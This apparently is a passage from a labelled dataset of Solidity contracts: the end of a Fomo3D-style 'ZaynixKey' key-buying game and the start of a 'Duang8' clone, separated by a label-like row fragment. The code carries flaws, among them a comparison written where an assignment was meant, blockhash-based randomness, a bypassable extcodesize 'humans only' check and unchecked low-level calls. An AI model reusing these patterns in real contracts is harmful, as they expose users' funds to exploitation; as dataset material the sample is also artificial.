(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3]
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, ZaynixKeyDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, 0, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit ZaynixKeyevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.ZaynixKeyAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, ZaynixKeyDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, 0, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit ZaynixKeyevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.ZaynixKeyAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ZaynixKeyDatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000)
{
uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_);
endTx(_pID, 0, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook));
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook));
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(ZaynixKeyDatasets.EventReturns memory _eventData_)
private
returns (ZaynixKeyDatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, ZaynixKeyDatasets.EventReturns memory _eventData_)
private
returns (ZaynixKeyDatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(ZaynixKeyDatasets.EventReturns memory _eventData_)
private
returns (ZaynixKeyDatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _dev = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _ZaynixKey = (_pot.mul(potSplit_[_winTID].ZaynixKey)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_ZaynixKey);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_dev);
flushDivs.call.value(_ZaynixKey)(bytes4(keccak256("donate()")));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.ZaynixKeyAmount = _ZaynixKey;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
rndMax_ = timerLengths[determineNextRoundLength()];
round_[_rID].end = now.add(rndMax_);
round_[_rID].pot = _res;
return(_eventData_);
}
function determineNextRoundLength() internal view returns(uint256 time)
{
uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6;
return roundTime;
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ZaynixKeyDatasets.EventReturns memory _eventData_)
private
returns(ZaynixKeyDatasets.EventReturns)
{
uint256 _dev = _eth / 100;
uint256 _ZaynixKey = 0;
if (!address(admin).call.value(_dev)())
{
_ZaynixKey = _dev;
_dev = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit ZaynixKeyevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_ZaynixKey = _ZaynixKey.add(_aff);
}
_ZaynixKey = _ZaynixKey.add((_eth.mul(fees_[_team].ZaynixKey)) / (100));
if (_ZaynixKey > 0)
{
flushDivs.call.value(_ZaynixKey)(bytes4(keccak256("donate()")));
_eventData_.ZaynixKeyAmount = _ZaynixKey.add(_eventData_.ZaynixKeyAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
admin.transfer(msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, ZaynixKeyDatasets.EventReturns memory _eventData_)
private
returns(ZaynixKeyDatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].ZaynixKey)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, ZaynixKeyDatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit ZaynixKeyevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.ZaynixKeyAmount,
_eventData_.genAmount,
_eventData_.potAmount
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library ZaynixKeyDatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 ZaynixKeyAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 ZaynixKey;
}
struct PotSplit {
uint256 gen;
uint256 ZaynixKey;
}
}
library KeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0);
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20);
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78);
require(_temp[1] != 0x58);
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a));
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20);
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true);
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,991 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
event onEndRound
(
uint256 roundID,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot
);
}
contract modularShort is F3Devents {}
contract Duang8 is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xE840E25BaB3F1F02eb1244a3aDC8965F5864f22E);
address private admin = msg.sender;
address private shareCom = 0x2F0839f736197117796967452310F025a330DA45;
address private groupCut = 0x2924C3BfA7A20eB7AEcB6c38F4576eDcf7a72Df3;
string constant public name = "duang8";
string constant public symbol = "duang8";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private rndLimit_ = 5000;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(23,0);
fees_[1] = F3Ddatasets.TeamFee(33,0);
fees_[2] = F3Ddatasets.TeamFee(53,0);
fees_[3] = F3Ddatasets.TeamFee(43,0);
potSplit_[0] = F3Ddatasets.PotSplit(42,0);
potSplit_[1] = F3Ddatasets.PotSplit(34,0);
potSplit_[2] = F3Ddatasets.PotSplit(18,0);
potSplit_[3] = F3Ddatasets.PotSplit(26,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
uint256 _withdrawFee;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
{
_withdrawFee = _eth / 10;
uint256 _p1 = _withdrawFee / 2;
uint256 _p2 = _withdrawFee / 2;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
{
_withdrawFee = _eth / 10;
_p1 = _withdrawFee / 2;
_p2 = _withdrawFee / 2;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 100000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
